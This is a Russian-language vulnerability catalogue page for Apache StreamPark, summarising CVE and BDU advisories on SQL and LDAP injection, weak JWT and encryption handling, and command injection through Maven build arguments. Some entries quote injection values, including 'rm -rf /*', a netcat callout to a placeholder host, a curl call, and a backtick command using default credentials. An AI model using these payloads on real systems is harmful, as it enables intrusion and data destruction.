Apache›Приложениеbdu,nvd,anchore_overrides

Streampark

Уязвимости

Эксплуатируемые

Макс. CVSS

9.8

Макс. EPSS

0.02299

Распределение по критичности

Критический

Высокий

Средний

Низкий

Затронутые диапазоны версий

1.0.0–2.0.01.0.0–2.1.42.0.0–2.1.22.0.0–2.1.42.0.0–2.1.72.1.4–2.1.6< 2.0.0< 2.1.4

Также сопоставлено как (исходные строки): streampark

Топ уязвимостей

CVE-2025-54947В версиях Apache StreamPark 2.0.0 до 2.1.7 существует уязвимость безопасности, связанная с жесткий ключ шифрования. Эта уязвимость возникает потому, что система использует фиксированный, неизменяемый ключ для шифрования вместо динамической генерации или надежной настройки ключа. Нападающие могут получить этот ключ с помощью обратного инжиниринга или анализа кода, потенциального расшифровки конфиденциальных данных или подделки зашифрованной информации, что приводит к раскрытию информации или несанкционированному доступу к системе. Этот вопрос затрагивает Apache StreamPark: от 2.0.0 до 2.1.7. Пользователям рекомендуется обновиться до версии 2.1.7, что устраняет проблему.

CVE-2022-45802Streampark позволяет любому пользователю загружать jar-файл в качестве приложения, но нет обязательной проверки типа загружаемого файла, что позволяет пользователям загружать некоторые файлы с высоким риском и может загружать их в любой каталог. Пользователям затронутых версий следует обновиться до Apache StreamPark 2.0.0 или более поздней версии.

CVE-2024-29070В версиях до 2.1.4 сеанс не аннулируется после выхода из системы. Когда пользователь успешно входит в систему, серверная служба возвращает «Authorization» в качестве учетных данных аутентификации интерфейса. «Authorization» по-прежнему может инициировать запросы и получать доступ к данным даже после выхода из системы. Решение: всем пользователям следует обновиться до версии 2.1.4.

CVE-2022-46365Apache StreamPark 1.0.0 до 2.0.0 Когда пользователь успешно входит в систему, чтобы изменить свой профиль, имя пользователя передается на серверный уровень в качестве параметра, но не проверяется, является ли имя пользователя текущим зарегистрированным пользователем и является ли пользователь законным. Это позволит злоумышленникам отправлять любое имя пользователя для изменения и сброса учетной записи. Пользователям затронутых версий следует обновиться до Apache StreamPark 2.0.0 или более поздней версии.

CVE-2024-29178На версиях до 2.1.4 пользователь мог войти в систему и выполнить атаку инъекции шаблона, что приводит к удаленному выполнению кода на сервере. Злоумышленник должен успешно войти в систему, чтобы запустить атаку, поэтому это уязвимость средней степени воздействия. Смягчение: все пользователи должны обновиться до 2.1.4.

BDU:2024-05965Уязвимость модуля Project Module среды разработки и управления потоковыми приложениями Apache StreamPark связана с некорректной обработкой элемента «<». Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, выполнить произвольные команды

CVE-2023-52290В streampark-console на страницах списков (например, на страницах приложений) пользователи могут сортировать страницы по полю. Это поле сортировки отправляется из внешнего интерфейса во внутренний, и запрос SQL генерируется с использованием этого поля. Однако, поскольку это поле сортировки не проверяется, существует риск уязвимости SQL-инъекции. Злоумышленник должен успешно войти в систему, чтобы начать атаку, которая может привести к утечке данных. Поскольку никакие данные не будут записаны, это уязвимость с низким уровнем воздействия. Меры по смягчению последствий: всем пользователям следует обновиться до версии 2.1.4, такие параметры будут заблокированы.

CVE-2024-48988Уязвимость SQL Injection в Apache StreamPark. Эта проблема затрагивает Apache StreamPark: от 2.1.4 до 2.1.6. Пользователям рекомендуется обновиться до версии 2.1.6, которая устраняет проблему. Эта уязвимость присутствует только в пакете дистрибутивов (платформа SpringBoot) и не связана с артефактами Maven. Он может быть использован только после того, как пользователь успешно вошел в платформу (подразумевает, что злоумышленнику сначала потребуется скомпрометировать аутентификацию входа в систему). В результате связанный с этим риск считается относительно низким.

CVE-2025-54981Слабый алгоритм шифрования в StreamPark, использование шифра AES в режиме ЕЦБ и слабый генератор случайных чисел для шифрования конфиденциальных данных, включая токены JWT, возможно, рисковали разоблачить конфиденциальные данные аутентификации Этот выпуск затрагивает Apache StreamPark: от 2.0.0 до 2.1.7. Пользователям рекомендуется обновиться до версии 2.1.7, которая устраняет проблему.

CVE-2025-30001Неправильная уязвимость Execution-Устанавливаемая разрешения в Apache StreamPark. Эта проблема затрагивает Apache StreamPark: от 2.1.4 до 2.1.6. Пользователям рекомендуется обновиться до версии 2.1.6, которая устраняет проблему.

CVE-2023-49898В streampark есть модуль проекта, который интегрирует возможность компиляции Maven. Однако отсутствует проверка параметров компиляции Maven, что позволяет злоумышленникам вставлять команды для удаленного выполнения команд. Предпосылкой для успешной атаки является то, что пользователю необходимо войти в систему streampark и иметь разрешения системного уровня. Как правило, только пользователи этой системы имеют право на вход в систему, и пользователи не будут вручную вводить опасную команду операции. Поэтому уровень риска этой уязвимости очень низок. Рекомендации: всем пользователям следует обновиться до версии 2.1.2 Пример: ##Вы можете настроить метод объединения в соответствии с ситуацией компиляции проекта, результаты компиляции mvn используют &&, сбой компиляции использует "||" или "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

CVE-2024-34457В версиях до 2.1.4 после успешного входа обычного пользователя он может вручную создать запрос с использованием токена авторизации для просмотра информации о флинке пользователя каждого, включая executeSQL и config. Меры по смягчению последствий: всем пользователям следует обновиться до 2.1.4

CVE-2025-53960При выпуске JSON Web Tokens (JWT) Apache StreamPark напрямую использует пароль пользователя в качестве ключей подписи HMAC (например, с алгоритмом HS256). Злоумышленник может использовать эту уязвимость для выполнения офлайн-атаков грубой силы на пароль пользователя с использованием захваченного JWT или для произвольного поддельного токенов идентификации для пользователя, если пароль уже известен, что в конечном итоге приводит к полному захвату учетной записи. Этот вопрос затрагивает Apache StreamPark: от 2.0.0 до 2.1.7. Пользователям рекомендуется обновиться до версии 2.1.7, которая устраняет проблему.

CVE-2024-29120В Streampark (версия < 2.1.4), когда пользователь успешно вошел в систему, служба Backend возвращала "Authorization" в качестве учетных данных для аутентификации на фронтенде. Пользователь может использовать эти учетные данные для запроса информации о других пользователях, включая имя пользователя администратора, пароль, значение соли и т. д. Смягчение: всем пользователям следует обновиться до 2.1.4.

CVE-2022-45801Apache StreamPark 1.0.0–2.0.0 содержит уязвимость, связанную с внедрением LDAP. Внедрение LDAP — это атака, используемая для эксплуатации веб-приложений, которые создают операторы LDAP на основе ввода пользователя. Когда приложение не может должным образом очистить ввод пользователя, можно изменить операторы LDAP с помощью методов, аналогичных внедрению SQL. Атаки внедрения LDAP могут привести к предоставлению разрешений несанкционированным запросам и изменению содержимого внутри дерева LDAP. Этот риск может возникнуть только тогда, когда пользователь входит в систему с помощью ldap, и на имя пользователя и пароль это не повлияет, пользователям затронутых версий следует обновиться до Apache StreamPark 2.0.0 или более поздней версии.

BDU:2023-02621Уязвимость реализации протокола службы каталогов Lightweight Directory Access Protocol (LDAP) среды разработки и управления потоковыми приложениями Apache StreamPark связана с непринятием мер по нейтрализации специальных элементов. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, получить доступ на чтение, изменение или удаление данных и повысить свои привилегии

CVE-2023-30867В платформе Streampark, когда пользователи входят в систему и используют определенные функции, некоторые страницы предоставляют нечеткий поиск на основе имени, например, имена заданий, имена ролей и т. д. Синтаксис SQL: select * from table where jobName like '%jobName%'. Однако поле jobName может принимать недопустимые параметры, что приведет к SQL-инъекции. Это может привести к утечке информации. Рекомендации по устранению: Пользователям рекомендуется обновиться до версии 2.1.2, в которой эта проблема устранена.

CVE-2024-29737В streampark модуль проекта интегрирует возможности компиляции Maven. Проверка входных параметров нестрога, что позволяет злоумышленникам вставлять команды для удаленного выполнения команд. Предварительное условие для успешной атаки — пользователю необходимо войти в систему streampark и иметь уровень системных прав. Обычно только пользователи этой системы имеют право на вход, и пользователи не вводят вручную опасные команды операции. Поэтому уровень риска этой уязвимости очень низкий. Меры по снижению: всем пользователям следует обновиться до 2.1.4 Справочная информация: Войдите в Streampark с использованием имени пользователя по умолчанию (например, test1, test2, test3) и пароля по умолчанию (streampark). Перейдите в модуль проекта, затем добавьте новый проект. Введите адрес репозитория git проекта и введите `touch /tmp/success_2.1.2` в качестве "Аргумента сборки". Обратите внимание, что специальный символ "`" не проверяется и не перехватывается. В результате вы обнаружите, что эта команда инъекции будет успешно выполнена после активации сборки. В последней версии специальный символ ` перехватывается.

CVE-2023-52291В streampark модуль проекта интегрирует возможности компиляции Maven. Проверка входных параметров не является строгой, что позволяет злоумышленникам вставлять команды для удаленного выполнения команд. Предварительным условием успешной атаки является необходимость того, чтобы пользователь вошел в систему streampark и имел права на уровне системы. Как правило, только пользователи этой системы имеют разрешение на вход, и пользователи не будут вручную вводить опасную команду операции. Поэтому уровень риска этой уязвимости очень низкий. Фон: В модуле "Проект" аргументы сборки maven “<” оператор вызывает инъекцию команд. например: “< (curl http://xxx.com )” будет выполнен как инъекция команд, Смягчение: всем пользователям следует обновиться до 2.1.4, оператор "<" будет заблокирован.

BDU:2024-05862Уязвимость модуля Project Module среды разработки и управления потоковыми приложениями Apache StreamPark связана с некорректной обработкой элемента «`». Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, выполнить произвольные команды

Перейти к вендору →Открыть в каталоге с фильтром по продукту →